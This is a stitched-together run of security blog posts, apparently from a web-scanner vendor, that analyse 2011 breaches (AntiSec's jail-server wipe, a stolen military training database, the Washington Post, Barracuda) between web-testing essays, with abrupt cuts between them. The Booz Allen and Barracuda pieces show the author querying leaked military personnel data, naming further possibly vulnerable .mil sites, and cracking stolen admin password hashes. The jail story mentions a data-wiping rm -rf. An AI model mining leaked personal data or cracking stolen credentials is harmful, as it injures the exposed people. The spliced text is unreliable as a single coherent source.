What starts out as a website defacement quickly becomes a security breach of terrorising proportions. The hacker now knows the IP address of the other jails, but he also uncovers source code that works with the jail database. The code below, for example sets the release date for an inmate.

The hacker now moves to the next server in line and methodically repeats the whole process again.

First Dump, then Wipe

Once the hacker has slurped every bit of information off the servers he proceeds to do some cleanup. He destroys all the data on all over the servers using the rm -rf  command. With this command he is literally deleting all of the 78 law enforcement websites.

Conclusions

The BJMs servers were plagued with the worst security issues. A “script kiddie” could have managed to break in if he was determined enough. In this case the hacker was certainly very skilled. He executed every command with precision and for maximum damage. He did not linger too long, raped the servers completely and wiped all evidence before he left. This is the job of a specialist.

Operation AntiSec is starting to show just how vulnerable the web really is. Simple programming errors that are hard to detect can lead to a complete system compromise. In this particular case the hacker enjoyed picking at the so called “low hanging fruit”. A web vulnerability scan and good code review on troubled areas could have easily avoided such a devastating high-profile breach.

Operation Anti-Security (AntiSec) is a hacking operation, carried out by two of the biggest names in the black-hat world – Anonymous, and LulzSec. They claim to target government corruption around the world. After hacking the servers of the Serious Organised Crime Agency in the UK, they turned their attention to the Arizona Department of Public Safety, releasing three separate caches of information.

The hacktivist group has also attacked the U.S. Department of Homeland Security, the Brazilian government, the Tunisian government, the government of Zimbabwe, and many others. Most recently, the Anonymous branch of Operation AntiSec breached the servers of NATO, stealing around a gigabyte of data. They claimed that the information was so sensitive that they are not going to release all of it, claiming that it would be “irresponsible”.

What Was Stolen

Dubbed “Military Meltdown Monday”, AntiSec claims to have stolen around 90,000 military email addresses, along with hashed passwords. These were saved into a highly compressed SQL dump, for easy downloading from The Pirate Bay (TPB).

The group, making the announcement using distinctly pirate-themed language, mentioned that they also found “maps and keys for various other treasure chests buried on the islands of government agencies, federal contractors and shady whitehat companies”.

The consulting agency has a policy of not commenting on leaks or attacks on its systems. However, a spokesman for the Department of Defence has indeed confirmed the attack, and has claimed that they are working together with Booz Allen Hamilton to investigate the extent and implications of this “disgraceful event”.

Booz Allen Hamilton tried their best to downplay the breach. In a press release after the attack they said, “At this time, we do not believe that the attack extended beyond data pertaining to a learning management system for a government agency.”

Jim Lewis, a cyber security expert with the Center for Strategic and International Affairs, echoed these thoughts when he said “I’m not sure it’s a big deal, they say they got lots of email addresses? Sounds like a scavenger hunt more than a hack.”

Booz Allen and Jim Lewis, I have some terrible news for you. This breach went beyond email addresses, this is not a scavenger hunt and the breach was not confined to your learning management system.

Read the next few sections of this article to understand the scope of the attack, gain insight into how it was performed and take a peek inside the stolen data.

How they did it

The hacking group did not tell us exactly how the hack was executed, however they did mention that their entry point was an SQL Injection attack. They managed to dump the entire database into a text file which means that they probably also gained root access to the systems. This theory is further enforced by the fact that they found and stole other files, including source code and some emails. This type of data is not normally siphoned off using SQL Injection but is the indication of a deeper penetration.

The security measures on the affected system did not impress AntiSec. Their description of the security goes like this, “…we found their vessel being a puny wooden barge. We infiltrated a server on their network that basically had no security measures in place”.

This statement is outright embarrassing for Booz Allen who claim that they offer “robust cyber security solutions”. They also state on their website that “cyber security cannot be treated as an afterthought.”

AntiSec enclosed an ‘invoice’ for the security audit:

“Enclosed is the invoice for our audit of your security systems, as well as the  auditor’s conclusion.

4 hours of man power: $40.00
Network auditing: $35.00
Web-app auditing: $35.00
Network infiltration: $0.00
Password and SQL dumping: $200.00
Decryption of data: $0.00
Media and press: $0.00

Total bill: $310.00”

Although they were probably just trying to be funny, some information can be elicited from this. First of all, it seems that the hack took four hours and was kicked off by a network audit, followed by an audit on the web applications. The web application audit is probably what caught the SQL Injection vulnerability in the first place. Network infiltration followed and an SQL dump was then taken. Prices in this invoice are an indication of how much effort was involved in each of the activities.

Data analysis

To understand the scope of the hack I decided to mount the SQL dump onto my database system and perform some analysis. The database is nearly a gigabyte in size and contains over 600 tables. Sifting through this database took time and patience, however I think I have uncovered a lot of juicy information that I would like to share with you.

So what are we dealing with here? The table login_text gives some context. It contains the message that is displayed when users log into the system. This text reveals the exact usage of this database. Here is an extract:

mysql> select TEXT from login_text;

“WELCOME TO THE JOINT KNOWLEDGE DEVELOPMENT AND DISTRIBUTION CAPABILITY (JKDDC) JOINT KNOWLEDGE ONLINE (JKO) PUBLIC PORTAL/LEARNING MANAGEMENT SYSTEM, A DEFENSE DEPARTMENT RESOURCE ADDRESSING INDIVIDUAL TRAINING NEEDS VIA DISTANCE LEARNING”

From this text we learn that we are dealing with the U.S Department of Defence distance learning programme. The login text continues:

“…the JKO portal provides access to Instant Messaging, Communities of Interest, and other Joint resources.  To obtain a JKO portal account, please visit the JKO public site…”

With this we can see that the database is not only used as a Learning Management System, but also as a portal for other resources, an Instant Messaging service and also an Online Community.

The text also reveals two other public learning resources which are quite possibly also vulnerable to the same attack as this one. They are:

• https://jkolms.cmil.org/html/user/RedirectApplication.jsp
• http://www.usfk.mil/webtraining/

Another interesting note is this:

“U.S. Department of Defense Students – Please ensure you include your Social Security Number (SSN) when registering for an account with the JKO LMS…”

This statement leads me to the next stage of the investigation – what personal user information can be gathered from this stolen database?

The tables that will answer this question are: user, user_extension, address, phone and user_email.

A few SQL queries will reveal all.

The user table is my starting point.

The users table contains a lot of information including the date of birth, gender and social security number. After browsing the data I can see that most of the social security numbers are invalid and the user first and last names are not used. We can also see some system users such as SYSADMIN. These users have a strange social security number that sort of looks like a passsword, however I cannot tell for sure.

There are over 74,000 users in this table. Most of the entries were created in August 2010, however some records indicate that this database dates back to early 2008. One record was modified in March 2011 meaning that this database was being used until recently.

So, where are these users from? The address table should give us that information.

The address table is ripe with information. It gives full addresses for every user on the system. Interesting to note how many countries there are. I counted 89 distinct countries using the following SQL command:

SELECT distinct `COUNTRY_CD` FROM `address` order by country_cd asc

The phone table seems to have valid phone numbers linked to the user ID. It however only contains only 350 records, most of which date back to 2007, so they are probably old records from a previous version of the database.

The user_extension table contains a promising 70,500 records, however it also fails to reveal anything interesting apart from email addresses lost in a sea of NULLs.

Another interesting table is the one called email_address. The table contains 84,000 records, however some of them are listed as “NOEMAIL@JFCOM.MIL”. When this email address is filered out I am left with 69,000 unique email addresses. These can be linked to the mailing addresses making them a very nice data set for spammers, scammers and phishers.

Here is my output:

SELECT USER_ID, EMAIL_ADDRESS, CREATED_DATE FROM `email_address` Where email_address <> ‘NOEMAIL@JFCOM.MIL’ GROUP BY EMAIL_ADDRESS ORDER BY CREATED_DATE DESC

Most of this data comes from military sites, however there are a few personal or company email addresses too. Interestingly the full name of the person is peresent in his email address. The bar chart below shows how the majority of email addresses are distributed over top-level domains.

So far I have data mined personal information for more than seventy thousand military personell, however the group AntiSec mentioned a ‘treasure trove’ of information that will enable them to penetrate further into other miliary networks. I scavenged the database for these nuggets, here is what I found.

The password table contains 155,000 records containg the password of all the users in the database. Many users use the same passwords on multiple sites, so this information could be a very big asset for potential attacks on the users and their organizations. You can see a screen shot of the passwords here:

The password is reportedly in this format: base64(sha1(password)). If this is really the case, then all passwords could be revealed by brute-force. This can take some time for the strongest passwords, however Anonymous have already solicited the help of the public by providing the files for download in an easy format, and giving a link to the associated email addresses. Furthermore, I also noticed many duplicate passwords, this is an indication that password salting is not taking place. Salting is a technique used to slow down brute-force attacks on hashes.

One very interesting table is the activity_log. This table logs activity of online users and contains informartion such as the IP address of the user and his user-agent, which reveals the operating system and web browser that he is using. This information makes targeted attacks much more probable.

As you can see, some of these IP addresses are internal addresses, some logins also appear to be from the local machine. Logins are as recent as April 2011, meaning that the password list is very ‘fresh’. The browser and operating system are also valuable information to a hacker. It’s disheartenining to see so many Internet Explorer browsers in use.

Some other public IP addresses are also owned by Booz Allen themselves:

In all, I counted over 47,000 unique IP addresses using the following SQL command:

SELECT COUNT( DISTINCT ip_address ) FROM `activity_log`

Other IP addresses are coming from all over the place. I picked a handful and found them to come from diffrerent DoD agencies distributed across America.

Apart from personell information, I was also able to find other data in some miscellaneous tables. This data can all be used for further hacking into the government’s networks.

The table application_owner lists the possible next targets from AntiSec, as these are all contributors to the LMS.

Some more organizations can be gleaned from the table mil_quota_source_node. A total of 134 different agencies can be identified from this table.

Finally, I look at the system user table where I find a few more juicy bits. Hosts, usernames and hashed passwords which appear to be unsalted (notice same hash is listed twice.)

Verdict

I set out on this investigation to determine whether AntiSec was just bluffing, and whether Booz Allen were right to downplay the incident. My initial hunch was that a bunch of teenagers were making the headlines again because of some silly data that they managed to scrape off some ageing website. I could have not been more far off from the truth.

It is evident that this is no small breach. The sheer numbers of usernames, passwords and email addresses, along with hostnames, IP addresses, user-agents and internal user names makes this hack look like the beginning of a larger wave of attacks that will hit the American government in the coming months.

Closing

To conclude I would like to directly quote the motto of Anonymous. Their motto never scared me, however as I look deeper into the work of this group I start feeling more and more uneasy. Should we be taking these anarchists more seriously?

“We are Anonymous.
We are Legion.
We are Antisec.
We do not forgive.
We do not forget.
Expect us.”

In this video tutorial we will demonstrate what is an SQL injection vulnerability, how a malicious user exploits an SQL Injection to steal credit card numbers and other customer data from your website and also how to fix SQL Injection vulnerabilities using practical examples.

In this step by step guide we will also show you how to perform an effective SQL Injection scan with Acunetix Web Vulnerability Scanner, and explain in technical detail what is happening behind the scenes while exploiting an SQL Injection attack against a test website.

If you have any queries regarding Acunetix Web Vulnerability Scanner or web security in general, visit the Acunetix web security forums.

Planning out your Web testing starts with your initial scope. You have to ask yourself – and ideally other key people in the business that have a stake in this – what exactly needs to be tested? Specific questions you’ll want to answer include:

1. What are we trying to do? What’s our ultimate goal with this testing?
2. How many unique intranet and Internet-based Web sites/applications need to be tested?
3. What platform(s) are these sites/applications based on?
4. What client-side technologies are being used?
5. Do we need to look at the systems from the perspective of an untrusted outsider only or should we also look at things from the perspective of a trusted user or users?
6. Approximately how many pages does each system have including both static and dynamically generated pages?
7. How many Web services exist that need to be tested? Hint: you need to test all of them.
8. Are we just going to run scans (unauthenticated and/or authenticated) or are we going to dig in further with manual analysis? What tools will be needed?
9. How much time is everything going to take? Hint: Add 25% to your estimate and you should be on target.

Answering these general questions in advance will put you on the right track for ensuring you get the most out of your Web security testing.

Arguably the most important thing to keep in mind is that, in the real world, anything goes. I strongly believe that you need to focus your Web security testing efforts where the money is first. But, ultimately, you need to branch out and look at everything…from every perspective. Long term, you’ll want to look at all of your Web-based systems – especially those that are facing the outside world. This includes Web servers/interfaces on routers, firewalls, wireless access points, Outlook Web Access and so on.

Don’t underestimate the value and impact that internal Web sites and applications have on your business either. Just because a system is on the inside doesn’t mean it’s not going to be exploited by a trusted employee or an outsider with ill-intent and the means to access it. Ditto with Web servers/interfaces/applications on the LAN such as CCTV surveillance systems, storage management interfaces, copiers, printers and the like.

You have to be smart about scoping your Web security tests. Never forget that the bad guys know no limits when they’re trying to manipulate and exploit your Web-based systems. Why should you? The general rule of thumb is if it has a URL then it’s fair game.

The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the “Jobs” section of the site. The attackers were able to gain access on two separate occasions: on the 27th and 28th of June.

To their credit, the Washington Post appears to have acted quickly to plug the gap and set up an appropriate response. It appears that user passwords and other personal information remains safe. The Post is currently investigating the incident, has taken steps to prevent against similar attacks, and is “pursuing the matter with law enforcement”.

It appears that the worst that users can expect is an increase in the amount of unsolicited SPAM emails, as user accounts on the Jobs website remain secure.

How Did This Happen?

The Washington Post did not specify how the attack occurred, but it is quite possibly SQL Injection, or some other kind of database attack, as it appears that a database was stolen. In an SQL Injection Attack, a hacker injects his own SQL commands into a web server to read from database tables that are normally restricted. It is one of the most popular types of attacks against websites and can be used to steal entire databases.

How was the Incident Detected?

The incident could have been detected in a variety of ways. The Post might have noticed a surge in traffic to the Jobs website, looked at the log files and performed a web application vulnerability scan. This would have pointed out possible attack vectors and pinpointed the avenue of attack. It is also possible that the leak was discovered after users reported increased levels of SPAM and/or attempts at phishing.

Nobody has come forward and claimed responsibility, and the Washington Post has not pointed any fingers yet. At this point, one can only speculate.

Damage

The actual amount of personal information stolen is considerably less as compared to other recent high-profile attacks. “Only” 1.3 million user IDs and email addresses were stolen. The Washington Post acted quickly to detect and plug the gap. However, a clever attacker can leverage that information through certain malicious techniques.

The most obvious would be adding the users to a SPAM mailing list. Email SPAM is the sending of unsolicited messages to a large list of addresses. It is the digital equivalent of junk mail. The emails will be unwanted and typically sent in bulk.

If the hackers are looking to steal sensitive information, a common attack is phishing. Phishing is the digital equivalent of social engineering. It is a way to gain sensitive details from a user by posing as a trustworthy company. It is one of the leading causes of identity theft.

The typical phishing example would be a stern, official-looking email, appearing to come from a major bank. The email would usually request that the reader clicks a link and “verifies” some sensitive information.

The hackers can use the associated user IDs that they stole and pose as the Washington Post Jobs website itself. The users might be more likely to respond to the phishing emails if it contains their user ID for the website in question. This targeted form of phishing is called spear-phishing.

Lessons Learned

It is almost a statistical certainty that companies are going to get hacked. The steps that the company takes after the attack are just as important as the preventative steps before.

It is important to the have a quick and effective incident-response setup in place. Thankfully, the Washington Post Jobs site appears to, as it acted very quickly to patch the problem and warn its users. The obvious example to the contrary would be Sony, who suffered weeks of delays.

The preventative measures are important. It is essential that SQL injection vulnerabilities are scanned for and fixed. Websites are constantly changing, opening up new defects in previously-secure areas of the site.

In this day and age, there is no end to the ingenuity of the hackers and the lengths that they go through to gain access. Just like a cat-and-mouse game, it is ever more important that web administrators take every measure to stay ahead of the curve.

But just how much is enough?  All too often I see websites and applications with too little security while others have too much – namely “security theater” that makes it look like the system is secure. There’s hardly ever a happy medium. Granted, there are the outliers like Amazon, eBay and related sites that seem to have things down pat. However, so many other lesser-known sites and applications (the majority of the ones out there) just can’t seem to find the balance of security and usability that’s needed.

I think a large part of the problem is that highly-technical developers are putting together these sites and applications without getting user feedback on the front end and not performing adequate usability testing on the back end. I can’t tell you how many times in the past few weeks alone I’ve come across websites and applications (both personally and in my security testing work) that have been unbelievably amateurish when it comes to user account management. I’ve thought to myself things like “Has no one tested this mechanism for security flaws?” and “What point is someone trying to prove by requiring so many hoops to jump through when the hoops can be bypassed altogether?”

I believe these types of problems lie not with the technical developers but in the management (or lack thereof) of the overall application. I suspect if we could get to the bottom of many of these problems we’d see that everything is up to the developers with no end user input, no product management…nothing.

The user’s interaction with the application should be as simple as possible. People shouldn’t have to jump through tons of hoops to simply log on or perform functions like changing passwords, especially when controls are forced on them in the name of “security”. In fact, most security controls should be completely transparent to end users. The goal should be to steer users in the right direction and protect them from themselves and not a single bit more.

Those of us working in IT, security and software development can effect change and get these sites and applications to where they need to be. Consider this: for the next 30 days focus your web security efforts solely on user authentication and access controls within your sites and applications. Get all the right people on board and do whatever you can to make user interaction as painless yet secure as possible. Check out some of the well-known sites and applications and see how they’re handling logons, password policies and the like. I guarantee you can eliminate a ton of flaws and make your environment resilient against a large number of exploits while making it easier to use in the process.

In the context of web application security this means suspending critical judgment, letting go of your pre-conceived notions about how things “should” be and being open to some alternatives that may seem impossible but likely aren’t. The key questions to ask yourself are: What would I do less of? What would I do more of? What would I stop altogether? Maybe you could…

Do less of:

• Performing sporadic web application security tests with no defined schedule
• Ignoring the reality that all of your Web systems need to be tested eventually (focusing on the urgent and important first, of course)

Do more of:

• Setting and following some clearly-defined goals for improving web application security in your business from this point forward
• Developing a set of reasonable security policies or cleaning up your existing ones to include web application security throughout development, QA and ongoing maintenance

Stop altogether:

• Relying on basic vulnerability scans as an assumed realistic representation of your web security flaws
• Keeping information about security issues internal to IT or your development/QA team and isolating others in the business who could actually help

People see and hear what they want to see and hear. I believe the inability to stop doing things that are no longer working is the primary failure of web application security. If this cycle isn’t stopped – especially given what’s going on in and around web application security these days – it’ll only continue and this monster will grow.

You have to be open to the fact that what you’re doing today is no longer working or isn’t working the way it needs to. Making improvements in web application security is going to require re-examining your situation. Use zero-based thinking and discard known facts and assumptions and look at things in a new light. Think about how some new approaches could benefit your business. You’ll likely find there are numerous areas ripe for improvement.

If you’ve been around web security for a while you know that some of the more technical flaws can take some time to uncover. Heck, many of the issues take some time to just understand. It reminds me of early on in my IT career when it took me years to really wrap my head around the protocols, addressing schemes and other nuances of TCP/IP. Web applications are equally complicated – if not more – and I continue to learn new things.

Web application security testing is both an art and a science. It requires deep creativity and strong analytical skills. With Web applications, we need to be able to look for specific – and verifiable – vulnerabilities using both automated scanners and manual analysis. But we can’t stop there. We also need to be able to think longer term and think about how some other potential flaws could lead to other problems. This means outlining various scenarios of what could happen if X, Y or Z falls into place and an exploit occurs.

Some issues that come to mind include:

• Password policies (or lack thereof) – just because you don’t find any weak passwords doesn’t mean they’re not there.
• Application logic flaws – if an application workflow seems a bit off then it very well could be. How could someone take advantage of this and what is there to lose when something goes awry?
• Possible SQL injection issues as found by Web vulnerability scanners – even if you’re unsuccessful validating the vulnerabilities, you or your SQL injector tool may not have dug in deeply enough so the flaw could still be present.
• Authentication mechanism issues that appear to permit login bypassing or session manipulation – these can be tricky to reproduce, but again it doesn’t mean they’re not there for the taking by a malicious attacker with nothing but time on his hands.

Bottom line: you’re the expert. You can’t blame vendors for failing to find or report on all Web security issues in your environment. People are counting on you to do your best so you owe it to your developers (and your business) to make them aware of all the issues – both confirmed and plausible.

Sure, you’re not going to find all the vulnerabilities and odds are you’re not going to completely understand them all – especially at first. That said, given what’s at stake, the general expectation is that you’re doing what you can to continually learn new things and have an open mind and the analytical skills needed to know where to look in order to ferret out the not-so-obvious “issues” that could get ugly down the road.

Just like every Web application, we’re all a work in progress. As long as we understand what’s required of us to work in this ever-changing field and we’re committed to staying focused in the right direction, that’s all that matters.

On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ironic twist of fate, the company that advocates security through it’s own Web Application Firewall were victims to the most common and oldest type of attack against web servers – the infamous Blind SQL Injection.

Web Application Firewalls like the one that Barracuda Networks manufactures are designed to stop this type of attack from occurring in the first place, however they clearly are not the silver bullet against hackers. On their blog, Barracuda Networks admitted that they made several mistakes, the biggest of which was to unintentionally turn off their own firewall for a few hours. This was a golden window of opportunity which hackers pounced on and immediately exploited.

In a vain attempt to regain their customer’s trust, Barracuda Networks explained how the vulnerability happened. They mentioned that no sensitive information was stolen and all the stolen passwords were salted. The skeptic in me decided to challenge their statements so I did my own independent research, got hold of the stolen data and began an analysis.

This article details my findings, where I discover that within the 20,000 records that were stolen, many were internal and possibly privileged user names and passwords. I also find that some of the most sensitive passwords were very easily cracked and were not salted as they claim. I also challenge the assumption that Web Application Firewalls can never be one’s only line of defense. In fact, after this breach I am tempted to discourage the use of such devices since they easily lead to a sense of false security.

Main Concepts Behind the Attack

In this section I briefly explain the different methods used during this attack. I appreciate that some of you will already be familiar with these concepts, however it is good to go over them because it will give you a better understanding of the technical analysis later.

Blind SQL Injection

An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans.

In a Blind SQL Injection attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.

Web Application Firewalls

The concept behind a Web Application Firewall (WAF) is very similar to how a traditional firewall works. A set of rules are configured on the firewall that selectively allow or deny network traffic. Rules on a WAF are exclusively designed to filter HTTP traffic. They are also capable of detecting common attacks, such as SQL Injection attack probes and XSS attempts. These firewalls exist as software installed on a host, or as a dedicated hardware device. Web Application Firewalls are a good first line of defence, however this does not mean that web application developers can employ lax coding and testing standards, as application bugs can still be exploited through the firewall. Barracuda Networks are a major player in the field of Web Application Firewalls, however they still fell victim of the classical SQL injection attack.

Hashing Passwords and Salting Hashes

Hashing passwords is a popular alternative to encrypting and storing passwords in a database. A hash is a one-way algorithm. This means that a password can be turned into a hash, but this a hash cannot be turned into a password. This is very convenient for web logins. The web server never stores the password, but instead stores the hash of the password. When a user attempts to log in, the password he enters is turned into a hash and compared with the hash in the database. If the two hashes match he is authenticated.

Cracking Hashed Passwords

Cracking hashes is only possible with brute force. A hacker tries every possible password combination, turning each password into a hash and comparing it to the hashes he has stolen. If one of them matches, then he has found a password. This attack, although cumbersome is greatly facilitated by the use of rainbow tables. These are large files of precomputed hashes for millions of known passwords and greatly reduce the time needed for a brute force attack.

To protect against rainbow table attacks against hashes, security administrators are encouraged to salt their passwords before hashing. This is a simple and effective technique. It consists of adding a special value to the password before hashing and renders brute force attacks practically useless.

Anatomy of the Attack

The news of this breach begs the question: How does one get past a Web Application Firewall (WAF) and perform an SQL Injection attack? The answer is simple. Wait for the WAF to be disabled and then perform the attack.

Below is a diagram showing how a WAF is positioned to block these attacks before they even reach the web server.

In the diagram above you can see that legitimate traffic is allowed through the WAF, however an SQL Injection payload is stopped before it can reach the Web Application Server, and consequently the SQL database.

If the WAF is removed, however the Web Application Server is left exposed, as can be seen in the diagram below.

According to various reports, attackers were able to exploit this scenario for many hours until they were successful. The SQL Injection vulnerability itself was found in a PHP script which is used to list customer reference case studies. Although this script was designed to access only the partner database, the SQL breach was large enough to give the hackers access to other databases on the same system.

According to a statement issued by Barracuda Networks the attack started with a few hours of probing from one IP address which was followed by a full-blown attack from several locations.

The vulnerable URL was the following:

http://www.barracudanetworks.com/ns/customers/customer_verticals.php?v=11

As you can see from the URL above, a single parameter called “v” is passed to this module. This parameter, which is of numeric type, identifies a vertical market ID. Vertical market  ID 11, corresponds to “Entertainment and Leisure”. Changing this ID to 10 serves up the vertical market “Energy and Utilities”.

By manipulating this parameter, hackers were able to inject their own SQL commands into the system and read out the entire set of databases on the server.

The hackers also revealed some other information, which is shown below:

It appears that the web server was running on a Microsoft Windows platform running the Microsoft IIS 6.0 web server. The vulnerable web application is listed as ASP.NET which looks odd to me, since the vulnerable URL is a PHP script and not an ASP script as one would expect on a Microsoft ASP.NET box.

The total extent of the breach may never be known to us, however some interesting information can be garnered through an analysis of the information leaked by the hackers themselves. The next section sifts through this information to determine what was stolen.

Damage Suffered

The hackers who claim to be responsible for the breach are a Malaysian group that go by the name HMSec. They posted a Full Disclosure message a few hours after the breach. In this message they listed a total of 22 different databases. Some databases are well known such as “phpmyadmin”, a popular administration tool for PHP and MySQL, who had also been a victim of an SQL Injection hack some time ago. I also noticed a database called “php_live_chat” which could mean that they are running a product called phpLiveChat, a commercial software module that allows customer to interact directly with sales and support staff at Barracuda.

There are also some more interesting databases. For example, the database “information_schema” is probably loaded with information that the hackers could have used to penetrate the database even further. There are two database called “bware” and “black_ips”. I hope my IP addresses are not in that one!

I saw a database or two which look like they belong on a development machine and not a live web server. Some examples of these are “igivetest” and “igivetestsucks”. A google search for “igivetest” results in an online tool for creating multiple choice questions. I wonder why this software was being installed and experimented with on a live server. Other questionable databases are “dev_new_barracuda” and “new_barracuda_archive”, both databases look out of place and make for a very dirty mySQL implementation on their end.

The juicy parts are what come next, list upon list of user names and passwords.

Here are a few, which I have censored out of respect for Barracuda staff, partners and customers.

This table is called CMS_LOGINS and contains 251 login accounts for the Barracuda Content Management System. The hashed passwords use the MD5 algorithm.

The following passwords were extracted from the main mySQL database itself and contains users who have system-level privileges some which are tied down to particular servers and some which grant access to all servers on the network. This database contains 23 users.

The users below were extracted from another database and contains user names, passwords and email addresses of Barracuda employees, possibly those who had access to the web help-desk system.

As you can see from the above tables, none of the passwords were stored in clear-text. Barracuda attempted to downplay the importance of these hashes by saying that they were salted, however upon closer inspection I found this claim to be unfounded.

Take a look at the main mySQL table. It contains duplicate hashes which not only shows that the administrator was using the same passwords for different accounts, but also shows that salting did not take place, or did not take place properly. Salting should append a different value to every password before it is hashed therefore making each of the hashes unique which is clearly not the case here.

After looking at this, I decided to try a rainbow table attack on some of the hashes. A rainbow table attack is very simple; huge lists of precomputed hashes are obtained (Google is your friend) and a simple text search is done within them. The crudest way of doing this is to simply paste the hash into Google and if you are lucky, you will come up with a match. Salting makes this trivial attack useless, so if the passwords were salted I would not have been successful.

For this test I took the hashes from the help-desk administrators table, below are some of the results:

The password above, which took less than half a second to crack is “zombie”, hardly a safe password. The result below makes me want to cry.

You are not seeing it incorrectly. It really does say that this password is “password”, the least secure password thatcan ever be used. How can Barracuda Networks risk such embarrassment?

Some other passwords were not as easy to crack, however I succeeded anyway after enlisting my Romanian friends who helped me brute-force some of the stronger passwords.

Below are some of the results after about 50 hours of brute-force cracking. These hashes come from different databases that were breached during the attack.

Needless to say, these passwords were not strong enough to withstand a brute-force attack and contrary to Barracuda’s false claims, they were obviously not salted either.

Lessons Learned

In a blog post to the Barracuda Labs security blog Micheal (Mike) Perone listed a few lessons that his team learned after the breach. In summary, they are:

You can’t leave a Web site exposed nowadays for even a day (or less).

Code vulnerabilities can happen in places far away from the data you’re trying to protect.

You can’t be complacent about coding practices, operations or even the lack of private data on your site – even when you have WAF technology deployed.

The first two lessons are trivial and probably show the naivety of Barracuda staff. A website cannot be exposed even for a few seconds, let alone a day! Furthermore, in this globalised and networked world, “places far away” can never be more than a few milliseconds apart.

I do applaud Mike on his third point. WAF technology is not enough. It should never be considered to be the only line of defence. At best a WAF will mitigate the risk of attacks, and if configured properly can reduce the load on your web servers. At worst (as in this breach), a WAF can fool you into thinking that you are safe enough, and therefore deeper tests such as code reviews and scans performed by a web vulnerability scanner might be neglected. This leaves your web application exposed to threats, and should the WAF fail, vulnerabilities will stick out like a sore thumb.

In addition to the lessons learned, I would also like to add a few of my own. Hopefully someone working at Barracuda will be humble enough to listen to me and learn something.

Be honest. Credibility with your customers is important, and your customers are not fools. After a breach like this Barracuda should have never made false claims that could be refuted using a simple Google search.

Salt your passwords. Really. Do not just wish or pretend you did. Salting is easy, recommended by everyone and extremely effective in mitigating attacks. It will also save you a whole lot of embarrassment when your administrator uses passwords like “zombie” and “password”.

Have a password policy in place. Do not allow easily guessable passwords to be the weak link in your chain of security. Password policies are easy to enforce through software and although are a nuisance to your users they remain a necessary evil.

Use a vulnerability scanner. Do not hide behind a Web Application Firewall. Scan your networks instead and identify bugs in your web applications. When you expose yourself you inevitably tend to protect yourself better.

According to the report:
“Unfortunately, breaching organizations still doesn’t typically require highly sophisticated attacks, most victims are a target of opportunity rather than choice, the majority of data is stolen from servers, victims usually don’t know about their breach until a third party notifies them, and almost all breaches are avoidable (at least in hindsight) without difficult or expensive corrective action.”

The thing is so many people get so deep into the technical minutiae that they end up overlooking the all too obvious flaws. And why wouldn’t the bad guys go after these basics…? They’re everywhere! Not a single security assessment goes by where I don’t find glaring weaknesses in/around the basics of information and application security. I suppose this is one of the reasons why independent information security assessments and audits are so popular. People like myself – including many users of Acunetix Web Vulnerability Scanner – can come in with a fresh perspective and go about finding security vulnerabilities in an unbiased manner. It’s a way around the problem of not being able to see the forest through the trees.

This still doesn’t really explain why so many of us can’t get our arms around the essentials. Is it lack of management support? Not having developers on your side? General apathy?  There’s an array of factors and almost every situation is different. What I do know is that you have to focus your efforts on stopping the bleeding first. It’s the concept of basic triage that first responders around the world use to focus on their highest payoff tasks. Go for the low-hanging fruit – the quick-fix items – that are going to provide a lot of payoff for your security efforts and investment. Once you get your arms around the basics then you go about drilling down and tightening things up in more niche areas.

On a side note, there are people out there who believe that Web vulnerability scanners such as Acunetix Web Vulnerability Scanner aren’t “good enough” because all they focus on is the low-hanging fruit. Maybe this is true to an extent if all you do is rely on the results of an automated scan and nothing else. However, by and large, these tools are getting much, much better at finding more complex application security issues. One thing’s for sure, if you don’t use an automated Web vulnerability scanner you’re going to overlook a ton of stuff. There’s just not enough time or expertise available to find every single thing that counts in a manual fashion. Sure, I’ll continue to rant about people relying on automated scanners and not doing their due diligence with manual analysis, but since so many obvious issues are still being overlooked we have to use automated scanners to find where we’re bleeding.

In the end you have to do what’s best for your business given your unique situation.

Consider doing this: for the next six months, forget about what the security analysts are saying, ignore what the security researchers are ‘sploitin and don’t buy into the scare tactics that many of the vendors are selling. Instead focus on the information security basics – the obvious flaws that need to be fixed now. Use your vulnerability scanners, tighten up the security essentials and see what happens. Just do it for six months, maybe until the end of the year. If you do this – and stick with it – I guarantee you that you’ll make HUGE strides in your information security program and greatly decrease the chances that your business will end up as a statistic in the 2012 Verizon Data Breach report.

An interesting thing I’m seeing related to application security is that compliance is often overlooked, sometimes completely ignored. Be it in the SDLC, pen testing, product marketing, customer service – you name it – discussions about compliance just aren’t taking place the way they should be. The thing is, when we get caught up in our own world of application security and nothing else, it’s hard to see the bigger picture. That is the good, the bad and the ugly of what the business is truly facing in terms of IT overall. It’s easy to hide under the appsec umbrella and deal with all things technical while someone else at a much higher level can figure out all that compliance junk. At least we think someone’s handling it.

Many developers I work with aren’t in tune with compliance regulations whatsoever. Okay, maybe PCI DSS. But mention HIPAA, HITECH, GLBA and so on and there’s rarely a connection. The same goes for many DBAs and network administrators. Even certain IT managers are out of the compliance loop. Is the lack of compliance insight the fault of each and every one of these people? Not really, at least to an extent. I do think there’s a level of personal accountability required but no amount of it is going to compensate for a lack of support from the top.

It’s as simple as this: if you don’t have all the right people in your business doing everything that’s needed for compliance then you’re going to have compliance gaps. It’s like getting a plane off the ground. The gate agents, pilots, ground crew and even the people responsible for snacks and cleaning the lavatories all have to pull their weight to ensure everything’s in check and the flight will be successful. Be it for an airplane or for IT compliance, if one single person doesn’t do everything in his or her power to do all he or she needs to do then it’s simply a matter of time before something happens.

Compliance complacency in and around application security provides some interesting insight into the state of security today. Do what you can to get the right people on board and make things happen. Especially avoid the situation where any one of your key employees or contractors is not carrying his own weight, working by the mantra “That’s someone else’s job.” Everyone involved with application security is somehow responsible for compliance. Developers, network administrators, pen testers, DBAs, product managers, QA professionals…everyone.

On 27th March 2011 a message was posted on the popular Full Disclosure mailing list exposing a recent hack against the website mysql.com. This vulnerability was apparently also reported by a hacker called TinKode, who also claims to have found a cross site scripting attack on the same web site in January.

